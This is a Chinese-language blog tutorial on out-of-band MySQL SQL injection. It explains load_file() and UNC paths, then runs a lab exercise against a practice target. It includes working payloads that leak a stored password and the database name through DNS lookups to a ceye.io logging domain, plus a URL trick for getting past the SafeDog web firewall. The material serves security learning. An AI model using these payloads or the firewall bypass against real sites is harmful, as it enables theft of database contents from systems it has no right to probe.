欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

MysqlDNS注入

程序员文章站 2022-05-15 08:25:06
...

load_file()函数

load_file()为读取文件并返回内容为字符串,文件必须位于在服务器主机上,必须指定完整路劲的文件,而且必须有FILE权限。该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小,默认1MB),如果该文件存在或无法获取,因为前面的条件之一不满足,函数返回NULL。
这里我在这个目录下存放了一个这样的txt文件,我们尝试来读取这个文件。
MysqlDNS注入

select load_file('D:/PhpStudy/PHPTutorial/WWW/1.txt');

MysqlDNS注入
成功读取

UNC路径

UNC(Universal Naming Convention)
通用命名规则,也称通用命名规范、通用命名约定。
UNC为网络(主要指局域网)上资源的完整Windows 2000名称。
1:什么是UNC路径?UNC路径就是类似\softer这样的形式的网络路径。
2:UNC为网络(主要指局域网)上资源的完整Windows 2000名称。
格式:\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
我们访问网上邻居所采用的命令行访问法,实际上应该称作UNC路径访问法。
我们把这个UNC路径使用到selec load_file()函数上去。

靶场演练

首先我们来到ceye注册一个账号,他会给我们一个dns服务器,和一个域名
MysqlDNS注入
首先ping一下
MysqlDNS注入
在这里的dns查询就可以看到
MysqlDNS注入
然后我们来查询一下数据
MysqlDNS注入
准备这张表的数据。

select load_file(concat('\\\\',(select password from users where id=1),'.zkg104.ceye.io\\abc'));

MysqlDNS注入
这样就相当于显错注入了。
这样的使用场景也就是在某些无法直接利用漏洞获得回显的情况下,但是目标就、可以发送DNS请求,这个时候就可以通过DNSlogo把想获得的数据显示出来。
来到靶场
MysqlDNS注入
靶场这里有安全狗
MysqlDNS注入
正常注入都会被拦截

id=1 and (select load_file(concat('\\\\',(select database()),'.zkg104.ceye.io\\abc')))%23

payload就是这个,但是因为有狗,会被拦截,我们需要过这个狗,利用apache的的特性

/1.txt?id=1 and (select load_file(concat('\\\\',(select database()),'.zkg104.ceye.io\\abc')))%23

这样就可以了,得到数据库名。
MysqlDNS注入
后面就是显错注入了,一步一步去注入,这里就不赘述了。

相关标签: Web基础学习